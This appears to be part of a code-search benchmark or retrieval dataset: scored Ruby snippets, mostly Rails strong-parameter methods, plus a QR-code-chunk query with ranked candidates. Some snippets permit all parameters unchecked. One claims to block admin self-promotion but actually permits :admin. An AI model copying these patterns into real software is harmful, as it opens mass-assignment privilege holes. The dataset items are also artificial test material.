"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5958401",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.5952607",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.5952406",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.5944409",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.59391016",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.593842",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.593842",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.5933845",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.59312123",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.5926475",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.59248453",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59179676",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59109294",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.59101623",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.5908172",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.59058356",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.5899052",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.5897749",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.5896101",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.58942914",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.58939576",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.5892063",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.5887407",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.588292",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.58797663",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.587367",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.58681566",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.5868038",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5866578",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.58665025",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.58655846",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.58640826",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.5863465",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.5862226",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.586065",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.58581287",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.5854443",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.5854172",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.58507544",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.5849934",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
c385c47630dbf9e6e23fadb244a4c765 | Find a single QR Code chunk from this collection based on its ordinal position | [
{
"docid": "0c14133e0edeae01e7b4bcdfb8683387",
"score": "0.66486484",
"text": "def code_by_ordinal(num)\n chunks.find { |ch| ch.ordinal == num }\n end",
"title": ""
}
] | [
{
"docid": "0efe602db288c7c8197fa168ce1a76d8",
"score": "0.5865913",
"text": "def getCard(pos)\n @cardsShown[pos].get_code\n end",
"title": ""
},
{
"docid": "cba2ac74622bc49fbd00a0d52adde4a7",
"score": "0.55413574",
"text": "def findPiece(pieceIndex)\n leftOffset = @pieceSize*pieceIndex\n rightOffset = leftOffset + @pieceSize-1\n\n findPart(leftOffset, rightOffset)\n end",
"title": ""
},
{
"docid": "03c341debf82705add9a2a27ffe09680",
"score": "0.5516257",
"text": "def card(index)\n \tif index < 0 || index >= @cards.size\n \t raise Exception \"Position does not exist in hand: #{index}\"\n \tend\n \t@cards[index]\n end",
"title": ""
},
{
"docid": "ea3e365735bc99d6358bf0d689ffb048",
"score": "0.55001724",
"text": "def index_of_11\n cards.index { |card| card[:points] == 11 }\n end",
"title": ""
},
{
"docid": "9b13fc931bb635cc384f3637d259d668",
"score": "0.5470355",
"text": "def find_card(rank, suit, deck)\n (0..51).each do |i|\n c = deck[i]\n if (c & suit) && (rank(c) == rank)\n i\n else\n -1\n end\n end\n end",
"title": ""
},
{
"docid": "71b497c5efec50a91b0d5c7e9bdea7c4",
"score": "0.53946173",
"text": "def position\r\n self.line.ordered_samples.to_a.index(self)\r\n end",
"title": ""
},
{
"docid": "429efd4e30372c5497c428885d0a3ebb",
"score": "0.53624165",
"text": "def find_card(name, suit)\r\n return @order.index(Card.to_s(name, suit))\r\n end",
"title": ""
},
{
"docid": "32ebcde0bbbd605ddd3d65cd0d6b671f",
"score": "0.53455657",
"text": "def findBlock(pieceIndex, offset, length)\n leftOffset = @pieceSize*pieceIndex + offset\n rightOffset = leftOffset + length-1\n\n findPart(leftOffset, rightOffset)\n end",
"title": ""
},
{
"docid": "74f79be5310e55609eb2e72bb03661ee",
"score": "0.5336633",
"text": "def find(prepostion)\n\t\tpartial_search_kb = string_to_internal(preposition)\n\t\tpartial_search_kb.each do |sentence|\n\t\t\tind = @kb.index(sentence)\n\t\tend\n\t\treturn ind\n\tend",
"title": ""
},
{
"docid": "b4b475b1a346dc8b62f99171c9d233c0",
"score": "0.52124655",
"text": "def search( ord )\n prime_list.each_with_index do |prime, idx|\n next unless prime\n\n return idx_to_value( idx ) if (ord -= 1) == 1\n end\n\n nil\n end",
"title": ""
},
{
"docid": "aae719c72561329b001bc86e2458dce4",
"score": "0.5210539",
"text": "def at(position)\n self.class.base_class.where(\"#{scoped_position} = ?\", position).limit(1).first\n end",
"title": ""
},
{
"docid": "fe686dc581432881a8753e799345b2ad",
"score": "0.5197207",
"text": "def findBarcode()\n @barcode = findBarcodeInSummary()\n\n if @barcode == nil || @barcode.empty?()\n @barcode = findBarcodeFromCSV()\n end \n return @barcode.to_s\n end",
"title": ""
},
{
"docid": "d70af0b804f0a56bf8cb8c85078929ad",
"score": "0.5160888",
"text": "def matrix_find(row, column)\n self[row*9 + column]\n end",
"title": ""
},
{
"docid": "1f47ee1a6a31ba802431f5a34dd204e8",
"score": "0.5127817",
"text": "def get_index_first_larger_snp(pos)\n @included_snps.each_with_index do |snp_indx, index|\n if pos < @snps[snp_indx].location.to_f\n return index\n end\n end\n end",
"title": ""
},
{
"docid": "cd94fad42776a77f07f1ebb2f3dbf529",
"score": "0.5121039",
"text": "def find(code)\n @stock[code.to_sym]\n end",
"title": ""
},
{
"docid": "b9ff182b36cbcb466163b7e8bb431220",
"score": "0.5111127",
"text": "def get_item_at(position)\n # TODO Stubbed - Required definition and implementation\n end",
"title": ""
},
{
"docid": "8140ec4797de51b5165263d71d0dba82",
"score": "0.5100537",
"text": "def find(code)\n @redis.get code_key(code)\n end",
"title": ""
},
{
"docid": "f2f1c84fd523dd48c38c684f6612234d",
"score": "0.50953364",
"text": "def get_item_at(position)\n # TODO Stubbed - Required definition and implementation\n end",
"title": ""
},
{
"docid": "8d8e77c79f84f45edb5b5f48703a6243",
"score": "0.5087814",
"text": "def get_item(index_number)\n @chores[index_number]\n end",
"title": ""
},
{
"docid": "70e62a060f1b0a785f8ed7f41b8f16bd",
"score": "0.50855273",
"text": "def get_row_from_index(index)\n (index - 1) / 8 + 1\n end",
"title": ""
},
{
"docid": "f5aa5ca890439c5d37798bde46bcf79c",
"score": "0.5082538",
"text": "def at(position)\n self[position]\n end",
"title": ""
},
{
"docid": "d2ef4f448badca742550363bd0bf01fc",
"score": "0.5074326",
"text": "def get_index(position:)\n row = (position - 1) / 3\n col = (position - 1) % 3\n return row, col\n end",
"title": ""
},
{
"docid": "c55751d6d07a9636296122f7fdf404f8",
"score": "0.5068901",
"text": "def row(position)\n position[0]\n end",
"title": ""
},
{
"docid": "326aa992cb8b44c910deb3f088ef9119",
"score": "0.50630015",
"text": "def next_row\n observation_matrix.observation_matrix_rows.where('position > ?', position).order(:position).first\n end",
"title": ""
},
{
"docid": "e864bf8675c34e12538586bfcf31491e",
"score": "0.50621456",
"text": "def get_card_at_index(index)\n x = @cardList[index]\n end",
"title": ""
},
{
"docid": "9c2a693b1608cf9d8b1fbd57d70fcf1f",
"score": "0.50406635",
"text": "def find(index)\n x = index\n while @parent_array[x] != 0\n x = @parent_array[x]\n end\n return x\n end",
"title": ""
},
{
"docid": "edd1ff36adc3b6ccc5cf33db95e48212",
"score": "0.5032503",
"text": "def find(_index_value)\n raise \"Implement in subclass\"\n end",
"title": ""
},
{
"docid": "effb318fc44a850bb311727643b7658c",
"score": "0.5016383",
"text": "def find_position(type, color)\n @grid.each_with_index do |row, ridx|\n row.each_with_index do |square, cidx|\n if square != nil && square.type == type && square.color == color\n return [ridx, cidx]\n end\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "b24deb568534736bd337166e40cdd51f",
"score": "0.5015928",
"text": "def index_of_card(id)\n cards.find_index(find_card(id))\n end",
"title": ""
},
{
"docid": "8f637b7fc77d6433e4d40ac872bc8c22",
"score": "0.5012435",
"text": "def next_chunk_number\n\t\t\treturn -1\n\t\tend",
"title": ""
},
{
"docid": "4ae731d288eb6c6d2d30c4d7511d661d",
"score": "0.50072575",
"text": "def find_item(variant, state = :on_hand, line_item = nil)\n contents.select do |item|\n item.variant == variant &&\n item.state == state &&\n (line_item.nil? || line_item == item.line_item)\n end.first\n end",
"title": ""
},
{
"docid": "f1ef0533f7f495e4ac7ee62954ea2214",
"score": "0.5005585",
"text": "def find(key)\n startslot = hashfunction(key, @size)\n position = startslot\n while @slots[position] != nil\n if @slots[position] == key\n return position\n else\n position = rehash(position, @size)\n return false if position == startslot\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "b3ac669ce8d518e2378c097daa9b6ea3",
"score": "0.49982575",
"text": "def get_row_from_index(index)\n return (index - 1)/8 + 1\n end",
"title": ""
},
{
"docid": "00510d90dbd17efda30f38df678088f1",
"score": "0.49933535",
"text": "def position_index(position)\n index = self.mapping(:type => :canonical).each.\n with_index do |suffix_with_position,suffix_index|\n suffix_position = suffix_with_position[1]\n if position.size == suffix_position.first.size &&\n suffix_position.include?(position)\n break suffix_index\n end\n end\n index.is_a?(Fixnum) ? index : nil\n end",
"title": ""
},
{
"docid": "b240661724d142628516e8ec23838513",
"score": "0.4991003",
"text": "def piece_at(position)\n row = position[0]\n col = position[1]\n @grid[row][col]\n end",
"title": ""
},
{
"docid": "ec728305bd54511d5f45b53847839cd0",
"score": "0.4980004",
"text": "def find_equivalent_piece(equivalent_piece)\n all_pieces.select { |piece| piece == equivalent_piece }.first\n end",
"title": ""
},
{
"docid": "83d237ff86c600b6f0fc85fad6c506dc",
"score": "0.49349463",
"text": "def question_by_n(n)\n self.questions.to_a.find { |q| q.position == n }\n end",
"title": ""
},
{
"docid": "705424a0ab7eaf977e88694bf1a8bd54",
"score": "0.4927039",
"text": "def [](pos)\n index = pos.to_int\n raise IndexError unless (1..8).cover? index\n \n @bits[8 - index]\n end",
"title": ""
},
{
"docid": "66fc0558853a231a14903a59ff276e8f",
"score": "0.49269363",
"text": "def find(value)\n \n index = findIndex(value)\n return nil if ! index\n result = at(index)\n\n if index == 0\n offset = value\n else\n offset = value - result[1]\n end\n \n [index, result[0], result[1], result[2], offset]\n end",
"title": ""
},
{
"docid": "cef7c4f7c8b50cfcdb0337ff24593ef8",
"score": "0.4924296",
"text": "def find_by_ord(ord)\n return nil if ord < 0 || ord > size\n as_array[ord]\n end",
"title": ""
},
{
"docid": "cef7c4f7c8b50cfcdb0337ff24593ef8",
"score": "0.4924296",
"text": "def find_by_ord(ord)\n return nil if ord < 0 || ord > size\n as_array[ord]\n end",
"title": ""
},
{
"docid": "fc9d87b5c916e92b79f66dd41afad74e",
"score": "0.49132967",
"text": "def find(k)\n @cells[k]\n end",
"title": ""
},
{
"docid": "a0c67441c544fab0e955512ac2a429a3",
"score": "0.49019554",
"text": "def part(index)\n @parts[index]\n end",
"title": ""
},
{
"docid": "186b0476d11125f40598535205e885ef",
"score": "0.49019527",
"text": "def position_result\n hurdle_match.rank.index(self) + 1\n end",
"title": ""
},
{
"docid": "505300ddd2e0e435c0dc9dbb602899ba",
"score": "0.48973602",
"text": "def position\n first.position\n end",
"title": ""
},
{
"docid": "fb11334d68763734edee2b95627349ff",
"score": "0.48949188",
"text": "def locate_head\n snake_matrix.first\n end",
"title": ""
},
{
"docid": "e15347c662c7b9db122bd6e4bde8af05",
"score": "0.48829812",
"text": "def find_at_risk_square(line, board, marker)\n if board.position_values.values_at(*line).count(marker) == 2\n mark = board.position_values.select { |k, v| line.include?(k) && v == Board::INITIAL_MARKER }\n mark.keys.first\n end\n end",
"title": ""
},
{
"docid": "53977b976fe014bdb7aa9958c860cc40",
"score": "0.4877189",
"text": "def part_by_name(name)\n mbr.part.select { |i| i.name == name }.first\n end",
"title": ""
},
{
"docid": "9b2eed29e16ae4ed18c0af4c83186e7e",
"score": "0.48722917",
"text": "def find_first_num_whose_cube_gr8ter_500(input)\n input.find do |i|\n i ** 3 > 500\n end\n end",
"title": ""
},
{
"docid": "d5b8e9df15054e412f9ae91e1e7e1cfb",
"score": "0.48702076",
"text": "def next_match char\n data = get_content\n row = focussed_index\n currval = data[row].chomp\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n 0.upto(row) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n return -1\n end",
"title": ""
},
{
"docid": "03d27e80c3e1b04a108b21ad3d366df2",
"score": "0.48648724",
"text": "def get_piece(pos)\n @grid[pos[0]][pos[1]]\n end",
"title": ""
},
{
"docid": "6159ae7656e710b936cc5caa9f888e20",
"score": "0.4862361",
"text": "def find(data)\n return nil if @head.nil?\n\n self.each_with_index do |current, ind| \n return ind if current.data == data\n end \n \t return nil # not found\t\n end",
"title": ""
},
{
"docid": "09f5b313f1db7dfe8bbda4c223f06472",
"score": "0.48553988",
"text": "def getIndexSequence(laneBarcode)\n if !laneIndexed?(laneBarcode)\n return \"\"\n else\n tag = laneBarcode.gsub(/^[1-8]-ID/, \"\")\n return @pipelineHelper.findBarcodeSequence(\"ID\" + tag.to_s) \n end\n end",
"title": ""
},
{
"docid": "5c6549198495dec81b9b23361c08b358",
"score": "0.48511213",
"text": "def findBarcodeInSummary()\n barcode = \"\"\n\n doc = Hpricot::XML(open('Summary.xml'))\n (doc/:'Samples/Lane').each do|lane|\n laneNumber = (lane/'laneNumber').inner_html\n bcode = (lane/'barcode').inner_html\n puts \"Lane Number : \" + laneNumber.to_s + \" Barcode : \" + bcode.to_s \n\n if laneNumber.to_s.eql?(@analysisLane)\n barcode = bcode\n end\n end\n return barcode\n end",
"title": ""
},
{
"docid": "22095ba4731b0c4a924dc346ea17d54a",
"score": "0.48485455",
"text": "def item(index)\n each_with_index { |item, ix| return item if index == ix } && nil\n end",
"title": ""
},
{
"docid": "d6c19e253c8efc77d091c3d6da8a318c",
"score": "0.4844865",
"text": "def pos_to_index(position)\n position[1] * 8 + position[0]\n end",
"title": ""
},
{
"docid": "548253f2c5e683dea1121616c9ec5e35",
"score": "0.48372194",
"text": "def valid_position?(position)\n arr = @rows.flatten\n arr.find_index(position)\n end",
"title": ""
},
{
"docid": "6cc66394a5a489e7284c20c02c1d2f42",
"score": "0.48362303",
"text": "def find_item(idx, list)\n list.find { |item| item[:idx] == idx }\n end",
"title": ""
},
{
"docid": "8c898a8a518535b2ea72bfa0ea422a0a",
"score": "0.4831899",
"text": "def line\n buffer[line_number]\n end",
"title": ""
},
{
"docid": "bad7f4dfe03ea50ffa00efa9f44d1fc2",
"score": "0.48307836",
"text": "def row_to_find\n create_coded_row\n end",
"title": ""
},
{
"docid": "07b8a0369b4057ddf61b3254d3f199c8",
"score": "0.48225352",
"text": "def find_at(index)\n return if (index + 1) > count || index < 0\n\n item = @head\n index.times { item = item.next }\n item.value\n end",
"title": ""
},
{
"docid": "3aafdc945f4f6847a874240379af2fd4",
"score": "0.48189926",
"text": "def piece_at?(position)\n rank = RANKS[position.to_s.downcase.split('').first]\n file = position.downcase.split('').last.to_i-1\n !!@board[file][rank]\n end",
"title": ""
},
{
"docid": "113a2525f1c45ccaa6382e2f5b50eab7",
"score": "0.4815591",
"text": "def part_position\n return self.parent.children.index(self) rescue nil\n end",
"title": ""
},
{
"docid": "0bf4dd6ba208ea10a30c647e75ef13ea",
"score": "0.48125318",
"text": "def region_at(pos, kind=nil)\n target_region = nil\n regions.breadth_each do |node|\n region = node.content\n if region\n if (region.start_pos..region.end_pos).include?(pos)\n if kind && region.kind_of?(kind)\n target_region = region\n elsif kind.nil?\n target_region = region\n end\n end\n end\n end\n return target_region\n end",
"title": ""
},
{
"docid": "3f80dbcd1499ab226e32b88e6a7c143f",
"score": "0.48108843",
"text": "def find_cell(coordinate)\n storage.select do |cell|\n cell.coord_x == coordinate[0] && cell.coord_y == coordinate[1]\n end.first\n end",
"title": ""
},
{
"docid": "34d2425babc4958c798b34d41c44d913",
"score": "0.48081112",
"text": "def tile_at(pos)\n tiles.each {|t| return t if t.position == pos}\n return nil\n end",
"title": ""
},
{
"docid": "22bde6debaf50cefec30dbe18e71fc8c",
"score": "0.48074555",
"text": "def get_pointer_at(index)\n IO.binread(@path, POINTER_SIZE, HEADER_SIZE + POINTER_SIZE * index).unpack(\"N\").first\n end",
"title": ""
},
{
"docid": "e31f41f37765321eb23795c53f864afc",
"score": "0.48065907",
"text": "def find( embed_code )\n query( :embed_code => embed_code ).items.first || raise( ItemNotFound )\n end",
"title": ""
},
{
"docid": "90f42c17316066f7ef5703fa47b86842",
"score": "0.48011974",
"text": "def getPieceAtPosition(position)\n position = notationToPosition(position)\n return @board[position[0]][position[1]]\n end",
"title": ""
},
{
"docid": "23c1dc91f26c9c5bfe730c9632b7e91f",
"score": "0.47989535",
"text": "def row(index)\n puzzle[index]\n end",
"title": ""
},
{
"docid": "f258beadf8faa59b418c3b6450e1f85f",
"score": "0.47719097",
"text": "def readPiece(pieceIndex)\n readRegions @pieceMapper.findPiece(pieceIndex)\n end",
"title": ""
},
{
"docid": "e61c0fb609c8158a05030b081f8f8662",
"score": "0.47714248",
"text": "def row_index(slot)\n slot / 9\n end",
"title": ""
},
{
"docid": "4cc260eca438572a6abe3af66ca5ca61",
"score": "0.47609994",
"text": "def rank_of_suit\n SUITS.each_with_index do |suit, i|\n if suit == @suit\n return i\n end\n end\n raise 'suit not found'\n end",
"title": ""
},
{
"docid": "05adb940b5bab7866b40f724f79f8dd6",
"score": "0.47564587",
"text": "def row index\n rows[index / 9]\n end",
"title": ""
},
{
"docid": "25df47dbc9d41dbdf6c3c055e4afc1da",
"score": "0.47508535",
"text": "def gh_find_code_value_item(items, code_value)\n items.each_item do |item|\n return item if item[CNCS] && item[CNCS].items[0][CV].value == code_value\n end\n\n nil\nend",
"title": ""
},
{
"docid": "b3b0b22414dbaa70843bb27b091a0f97",
"score": "0.47483224",
"text": "def find_king_position color\n @board.each_with_index do |row, row_ind|\n row.each_with_index do |piece, column_ind|\n return [row_ind, column_ind] if piece.is_a?(King) && piece.color == color\n end\n end\n raise \"Never found King, something's wrong\"\n end",
"title": ""
},
{
"docid": "72cefba6d99347811aca08f84ed2956e",
"score": "0.47421032",
"text": "def findCheckpoint line\n return line.index(\"C\")\nend",
"title": ""
},
{
"docid": "1cd2a37696dc4780c931e0dd2f1c27bc",
"score": "0.47390282",
"text": "def read_at (pos)\r\n @data[pos]\r\n end",
"title": ""
},
{
"docid": "9723ef4f084d431e2e9e5e5fb79c0df1",
"score": "0.47364905",
"text": "def get_item(index_num)\r\n @arr.fetch(index_num)\r\n end",
"title": ""
},
{
"docid": "6bc2e54b89761db1bb4979789e3ae38d",
"score": "0.47305787",
"text": "def chromatic_at(index, key=nil)\n CHROMATICS.detect{|k, v| v == index && (!key || k.start_with?(key))}.try(:[], 0)\n end",
"title": ""
},
{
"docid": "18ccea5c87282b7595e8400c1848fbf7",
"score": "0.4723534",
"text": "def at(index)\n each.with_index { |v, i| return v if i == index }\n return nil\n end",
"title": ""
},
{
"docid": "ccd35a1efd0948d7edded62411166616",
"score": "0.47230574",
"text": "def find_king(color)\n found_king = pieces.find { |piece| piece.is_a?(King) && piece.color == color}\n found_king.pos\n end",
"title": ""
},
{
"docid": "0b19013eebbb6b8da743bc0777430709",
"score": "0.4722514",
"text": "def at(index)\n return nil if @head.nil? \n return @head if index == 1\n return nil if index > self.size\n self.each_with_index do |current, ind|\n return current if ind == index\n end\n\n end",
"title": ""
},
{
"docid": "0bf7b92cfead6ebef90810bbd69cae21",
"score": "0.47197095",
"text": "def find_exact_cover\n exact_covers.first\n end",
"title": ""
},
{
"docid": "3faaffeb6c1e5891f53d679b2108099a",
"score": "0.47143996",
"text": "def slot_number_by_license_plate\n return 'Not found' if cars.empty?\n cars.map(&:position).join('')\n end",
"title": ""
},
{
"docid": "32b2cf4887cacad252e467bb9162ab2a",
"score": "0.47092324",
"text": "def find_item(reference)\n\t\t@items.detect{|i| i.reference == reference}\n\tend",
"title": ""
},
{
"docid": "4c90c719d105d69bed79adef0ca1b8be",
"score": "0.4706615",
"text": "def find_start_base(chr, chr_length)\n # Start at the first base pair and look forwards\n bp = 1\n while bp <= chr_length\n start = bp\n stop = [start+CHUNK_SIZE-1, chr_length].min\n num_values = stop - start + 1\n begin\n result = UCSC.bigwig_summary(@data_file, chr, start, stop, num_values, 'coverage')\n return start + result.find_index('1')\n rescue UCSC::ToolsError\n end\n \n bp += CHUNK_SIZE\n end\n \n raise WigError, \"Could not find start base pair in BigWig file #{File.basename(@data_file)} for chromosome #{chr}\"\n end",
"title": ""
},
{
"docid": "d76ace548e42b73d67bcb5d9adc3f561",
"score": "0.47041628",
"text": "def get_mid(mid)\n # return @mids[mid]\n return get_fasta(@mids,mid,\"mid\")\n end",
"title": ""
},
{
"docid": "8d79ddeeff3ba800baad0b1ad3bea6fb",
"score": "0.47001004",
"text": "def position\n # 2 ** 3 - 1\n @number & 7\n end",
"title": ""
},
{
"docid": "f55e85e801ca2ef1d8b2a331e194fa59",
"score": "0.4696749",
"text": "def position_to_index(position)\n position - 1\n end",
"title": ""
},
{
"docid": "76373d162fd087514871fa99b0710b1a",
"score": "0.4689033",
"text": "def peek\n @cards.last.value\n end",
"title": ""
},
{
"docid": "f01b675184f6ae41068621daff35474b",
"score": "0.46807152",
"text": "def peek\n @codes[@pc]\n end",
"title": ""
},
{
"docid": "b529ded9201bf105dbafac91a743970c",
"score": "0.4680623",
"text": "def [](loc, idx)\n return loc if immediate?(idx)\n\n sequence[loc]\n end",
"title": ""
},
{
"docid": "29fdb96f84bc6af89e3bc7d550525bca",
"score": "0.46793845",
"text": "def [](index)\n cards[index]\n end",
"title": ""
},
{
"docid": "16db6a0491cea8c6daabe705da79356c",
"score": "0.46791443",
"text": "def find(value)\n result = -1\n @inner.each_with_index do |item, index|\n if value == item\n result = index\n break\n end\n end\n return result\n end",
"title": ""
},
{
"docid": "a79f4e8c6f9f0e8ed2fd1a03770d6ba3",
"score": "0.46753588",
"text": "def hit \n card = self.cards_deck.pop\n return card\n end",
"title": ""
},
{
"docid": "769a980d4e3b583a18c8b55bdb7ff97b",
"score": "0.4673703",
"text": "def first\n _id, entry = @redis.xrange(key, '-', '+', count: 1).first\n entry\n end",
"title": ""
},
{
"docid": "10de13024e7d8d53868a68d2c387f2af",
"score": "0.46723315",
"text": "def find(num)\n $pre_grid.each_with_index do |row,row_i|\n row.each_with_index do |e,e_i|\n i = [ row_i, e_i ]\n # special case for finding second 1\n if e.to_i == num && i != $first1\n return i\n end\n end\n end\nend",
"title": ""
},
{
"docid": "bef4b90604ca9c9b4c75f733e5e199f2",
"score": "0.46722806",
